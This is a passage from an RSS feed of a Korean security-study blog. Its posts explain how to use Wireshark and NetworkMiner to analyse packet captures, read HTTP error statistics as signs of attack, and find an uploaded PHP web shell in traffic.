&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;33.PNG&quot; data-origin-width=&quot;752&quot; data-origin-height=&quot;559&quot; width=&quot;561&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cWuiiM/btqFOMa8MFK/3X64d1YjVhacj1puTSyFC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cWuiiM/btqFOMa8MFK/3X64d1YjVhacj1puTSyFC0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cWuiiM/btqFOMa8MFK/3X64d1YjVhacj1puTSyFC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcWuiiM%2FbtqFOMa8MFK%2F3X64d1YjVhacj1puTSyFC0%2Fimg.png&quot; data-filename=&quot;33.PNG&quot; data-origin-width=&quot;752&quot; data-origin-height=&quot;559&quot; width=&quot;561&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;다른 방법으로 HTTP object로 바로 저장할 수도 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;34.PNG&quot; data-origin-width=&quot;519&quot; data-origin-height=&quot;534&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbowXQ/btqFPspOFT2/e7jQNj3Vh4VWpCg2XD1PAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbowXQ/btqFPspOFT2/e7jQNj3Vh4VWpCg2XD1PAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbowXQ/btqFPspOFT2/e7jQNj3Vh4VWpCg2XD1PAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbowXQ%2FbtqFPspOFT2%2Fe7jQNj3Vh4VWpCg2XD1PAk%2Fimg.png&quot; data-filename=&quot;34.PNG&quot; data-origin-width=&quot;519&quot; data-origin-height=&quot;534&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이렇게 저장을 하면 좀 더 깔끔하게 정보를 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;이것을 보고 2개의 개인정보가 유출되었다는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;더 간단한 방법으로 네트워크 마이너를 사용해도 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;35.PNG&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;556&quot; width=&quot;668&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/K4foG/btqFQJ49cT6/Kzk42wSJrP6X0Gs0yztkkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/K4foG/btqFQJ49cT6/Kzk42wSJrP6X0Gs0yztkkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/K4foG/btqFQJ49cT6/Kzk42wSJrP6X0Gs0yztkkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FK4foG%2FbtqFQJ49cT6%2FKzk42wSJrP6X0Gs0yztkkk%2Fimg.png&quot; data-filename=&quot;35.PNG&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;556&quot; width=&quot;668&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;pcap파일을 넣고 File을 누르면 php-backdoor.php를 확인할 수 있다. (백신을 꺼야 한다.)&lt;/p&gt;
&lt;p&gt;네트워크 마이너는 웹쉘을 올렸을 때 데이터가 올라간 것을 이렇게 분리를 해서 보여준다.&lt;/p&gt;
&lt;p&gt;와이어 샤크에서는 html로 저장을 해서 하나씩 확인을 하였다.&lt;/p&gt;
&lt;p&gt;하지만 네트워크 마이너는 자동으로 파일들이 저장되어 있는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;36.PNG&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;556&quot; width=&quot;675&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CZ5or/btqFPHUvGpZ/E6pE1pDyQhkLk5aTJz5qd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CZ5or/btqFPHUvGpZ/E6pE1pDyQhkLk5aTJz5qd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CZ5or/btqFPHUvGpZ/E6pE1pDyQhkLk5aTJz5qd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCZ5or%2FbtqFPHUvGpZ%2FE6pE1pDyQhkLk5aTJz5qd1%2Fimg.png&quot; data-filename=&quot;36.PNG&quot; data-origin-width=&quot;1008&quot; data-origin-height=&quot;556&quot; width=&quot;675&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;php-backdoor.php을 파일을 열어보면&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;37.PNG&quot; data-origin-width=&quot;761&quot; data-origin-height=&quot;48&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhDTL7/btqFOLXCJBh/GQ3CRDolaqJI6hO3oXkMGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhDTL7/btqFOLXCJBh/GQ3CRDolaqJI6hO3oXkMGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhDTL7/btqFOLXCJBh/GQ3CRDolaqJI6hO3oXkMGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhDTL7%2FbtqFOLXCJBh%2FGQ3CRDolaqJI6hO3oXkMGK%2Fimg.png&quot; data-filename=&quot;37.PNG&quot; data-origin-width=&quot;761&quot; data-origin-height=&quot;48&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이렇게 파일이 저장되어있는 것을 확인 할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;38.PNG&quot; data-origin-width=&quot;1007&quot; data-origin-height=&quot;1183&quot; width=&quot;677&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/veeiC/btqFQaPIzz0/U1JnMs5tSGoKcigHgOYnS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/veeiC/btqFQaPIzz0/U1JnMs5tSGoKcigHgOYnS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/veeiC/btqFQaPIzz0/U1JnMs5tSGoKcigHgOYnS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FveeiC%2FbtqFQaPIzz0%2FU1JnMs5tSGoKcigHgOYnS1%2Fimg.png&quot; data-filename=&quot;38.PNG&quot; data-origin-width=&quot;1007&quot; data-origin-height=&quot;1183&quot; width=&quot;677&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 그 파일의 소스를 확인하기 위해 깃허브를 이용하였다.&lt;/p&gt;
&lt;p&gt;코드를 확인하면 웹쉘이라는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>공부/해킹공부</category>
      <category>ip주소</category>
      <category>ip주소추적</category>
      <category>와이어샤크</category>
      <category>패킷분석</category>
      <category>해킹</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/12</guid>
      <comments>https://geru.tistory.com/12#entry12comment</comments>
      <pubDate>Thu, 2 Jul 2020 15:27:29 +0900</pubDate>
    </item>
    <item>
      <title>와이어 샤크 패킷 분석(feat.네트워크마이너)</title>
      <link>https://geru.tistory.com/11</link>
      <description>&lt;p&gt;패킷 분석은 여러 부분에서 많이 사용한다.&lt;/p&gt;
&lt;p&gt;1. 모의해킹은 취약점 분석할 때&lt;/p&gt;
&lt;p&gt;2. 악성코드 분석할 때(실시간적으로 발생하는 패킷들을 분석할 때 사용)&lt;/p&gt;
&lt;p&gt;3. 침해사고 분석, 포렌식 분석할 때&lt;/p&gt;
&lt;p&gt;이렇게 분석을 해야 할 때 와이어 샤크를 대표적으로 많이 이용하게 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;패킷을 분석하는 법을 알아보자.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;우선 프로토콜 정보를 알아보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1390&quot; width=&quot;548&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7yMMq/btqFhldWys8/P18nTOSX4HP0LrapHhkkK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7yMMq/btqFhldWys8/P18nTOSX4HP0LrapHhkkK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7yMMq/btqFhldWys8/P18nTOSX4HP0LrapHhkkK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7yMMq%2FbtqFhldWys8%2FP18nTOSX4HP0LrapHhkkK0%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1390&quot; width=&quot;548&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1119&quot; width=&quot;548&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tEuGL/btqFjp7gXOf/CPTjI6hDceFwNMQUtbviv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tEuGL/btqFjp7gXOf/CPTjI6hDceFwNMQUtbviv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tEuGL/btqFjp7gXOf/CPTjI6hDceFwNMQUtbviv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtEuGL%2FbtqFjp7gXOf%2FCPTjI6hDceFwNMQUtbviv0%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1119&quot; width=&quot;548&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이렇게 프로토콜들의 통계를 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;현재 TCP가 많이 사용되고 있는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;좀 더 상세한 통계을 보도록 하자.&lt;/p&gt;
&lt;p&gt;(http 통계)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1390&quot; width=&quot;546&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNmXVB/btqFiPrPNmG/WBfXXIE1XKw77XdZGJUKUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNmXVB/btqFiPrPNmG/WBfXXIE1XKw77XdZGJUKUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNmXVB/btqFiPrPNmG/WBfXXIE1XKw77XdZGJUKUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNmXVB%2FbtqFiPrPNmG%2FWBfXXIE1XKw77XdZGJUKUk%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1390&quot; width=&quot;546&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;498&quot; width=&quot;545&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFX0PF/btqFizir7w4/QxaFHFbCFDaBLrAl9vwBY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFX0PF/btqFizir7w4/QxaFHFbCFDaBLrAl9vwBY0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFX0PF/btqFizir7w4/QxaFHFbCFDaBLrAl9vwBY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFX0PF%2FbtqFizir7w4%2FQxaFHFbCFDaBLrAl9vwBY0%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;498&quot; width=&quot;545&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;웹에 들어가지 않았기 때문에 아무것도 카운터가 되지 않았다. (사용법만을 기록)&lt;/p&gt;
&lt;p&gt;여기서 5xx대 에러가 많이 발생하면 sql인젝션 등의 형태가 많이 나왔다고 보면 된다.&lt;/p&gt;
&lt;p&gt;4xx대 에러가 많이 발생하면 디렉터리 검사 같은 거나 어떤 백업한 파일들을 검사하는 도구들을 돌릴 때 4xx대 에러가 발생한다고 보면 된다. (있지도 않은 파일을 찾는 것(공격자의 수색이라 볼 수 있음))&lt;/p&gt;
&lt;p&gt;2xx 대는 정상적으로 웹페이지들이 들어오는 것이다.&lt;/p&gt;
&lt;p&gt;그리고 HTTP Request Packets에 GET이 많다면 그만큼 GET 요청을 많이 들어왔다는 것을 확인할 수 있을 것이다.&lt;/p&gt;
&lt;p&gt;이러한 것들을 보고 어떤 공격지 짐작을 하고 접근을 하는 것이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1390&quot; width=&quot;559&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIdKUm/btqFhlZmIfW/FKwF5mX7WZuxK6UPGFomw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIdKUm/btqFhlZmIfW/FKwF5mX7WZuxK6UPGFomw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIdKUm/btqFhlZmIfW/FKwF5mX7WZuxK6UPGFomw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIdKUm%2FbtqFhlZmIfW%2FFKwF5mX7WZuxK6UPGFomw1%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1390&quot; width=&quot;559&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;498&quot; width=&quot;560&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bicwJd/btqFg4cuLSE/q0XFmHfADKOrGD9MfrMOhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bicwJd/btqFg4cuLSE/q0XFmHfADKOrGD9MfrMOhK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bicwJd/btqFg4cuLSE/q0XFmHfADKOrGD9MfrMOhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbicwJd%2FbtqFg4cuLSE%2Fq0XFmHfADKOrGD9MfrMOhK%2Fimg.png&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;498&quot; width=&quot;560&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;지금은 비어있지만 어떠한 요청들을 했는지 요약을 해준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;814&quot; data-origin-height=&quot;498&quot; width=&quot;562&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xvy2Q/btqFjcmOJRZ/zwQaPFb5058x44QluB874k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xvy2Q/btqFjcmOJRZ/zwQaPFb5058x44QluB874k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xvy2Q/btqFjcmOJRZ/zwQaPFb5058x44QluB874k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fxvy2Q%2FbtqFjcmOJRZ%2FzwQaPFb5058x44QluB874k%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;814&quot; data-origin-height=&quot;498&quot; width=&quot;562&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이것은 순서이다. 이것을 이용해서 순서대로 나열할 수 있다.&lt;/p&gt;
&lt;p&gt;이 Requests를 이용해서 사용자가 어떤 페이지에 접속했는지 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;그다음 페이지들을 하나씩 하나씩 확인하기 위해&lt;/p&gt;
&lt;p&gt;(오브젝트 별 로페이지 별로 확인을 정렬하는 것)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1390&quot; width=&quot;556&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bABgBf/btqFgHu5ZMp/zvWiAkBWpEPXJPlfuCOc00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bABgBf/btqFgHu5ZMp/zvWiAkBWpEPXJPlfuCOc00/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bABgBf/btqFgHu5ZMp/zvWiAkBWpEPXJPlfuCOc00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbABgBf%2FbtqFgHu5ZMp%2FzvWiAkBWpEPXJPlfuCOc00%2Fimg.png&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1390&quot; width=&quot;556&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;752&quot; data-origin-height=&quot;559&quot; width=&quot;553&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dpQFnw/btqFkmvvmCS/KmDpD04s1kv0ygCAfxaPd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dpQFnw/btqFkmvvmCS/KmDpD04s1kv0ygCAfxaPd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dpQFnw/btqFkmvvmCS/KmDpD04s1kv0ygCAfxaPd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdpQFnw%2FbtqFkmvvmCS%2FKmDpD04s1kv0ygCAfxaPd0%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;752&quot; data-origin-height=&quot;559&quot; width=&quot;553&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;요청한 페이지나 형태 타입별로 정렬이 된다. 여기서 의심되는 것들을 하나씩 저장 or 모두 저장하게 되는 것이다.&lt;/p&gt;
&lt;p&gt;파일을 저장해서 .php확장자를 바꾸면서 어떠한 행위들을 했는지 확인을 하면 된다.&lt;/p&gt;
&lt;p&gt;하지만 마지막에 페이지를 확인한다고 할 때 확장자를 알맞게 바꿔가면서 확인하는 것이 조금 복잡하다.&lt;/p&gt;
&lt;p&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block; text-align: center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-7966469452958275&quot; data-ad-slot=&quot;1021225096&quot;&gt;&lt;/ins&gt;&lt;/p&gt;
&lt;p&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;이것들을 쉽게 해결할 수 있는 것이 &quot;네트워크 마이너&quot;이다.&lt;/p&gt;
&lt;p&gt;네트워크 마이너는 악성코드 분석에 많이 쓰이고 그 안에 패키지 정보들이 숨어져 있거나 중요한 자바스크립트 같은 경우나 이런 것들이 삽입된 것들을 분석을 할 때 자주 쓰인다.&lt;/p&gt;
&lt;p&gt;혹은 네트워크 포렌식 할 때에서 네트워크 마이너를 자주 쓴다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1390&quot; width=&quot;576&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PobyH/btqFg4KkEXh/u9pB4T5bTE20bmhZL9x5b0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PobyH/btqFg4KkEXh/u9pB4T5bTE20bmhZL9x5b0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PobyH/btqFg4KkEXh/u9pB4T5bTE20bmhZL9x5b0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPobyH%2FbtqFg4KkEXh%2Fu9pB4T5bTE20bmhZL9x5b0%2Fimg.png&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;1390&quot; width=&quot;576&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
